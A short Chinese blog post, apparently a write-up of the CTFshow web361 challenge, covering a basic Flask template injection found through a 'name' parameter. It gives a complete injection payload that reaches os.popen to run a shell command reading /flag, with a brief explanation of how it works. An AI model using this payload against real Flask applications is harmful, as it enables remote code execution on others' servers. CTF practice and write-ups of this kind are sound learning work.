每日一题 —— [CTFshow]web361¶
这一题就是一道最基本的 flask 模板注入了。根据题目提示,我们可以“名字就是考点”。所以我们传入一个叫做 name
的参数,发现我们 name
参数的值被渲染在了页面上。
于是我们使用 {{7*7}}
尝试一下,发现页面上显示了 49
。确认了存在模板注入。直接构造 payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
原理可以参照我上一篇博客:normalssti,在这里我就先简单地提上一嘴。
首先使用 "".__class__.__base__[0].__subclasses__()
获取到 object
的子类,然后使用 .__init__.__globals__['popen']
获得 os.popen
方法。在这里我们直接不用任何 bypass 就可以完成 RCE, 挺奇怪的,因为在我的电脑上,空格并不能用来传参。
文章热度:0次阅读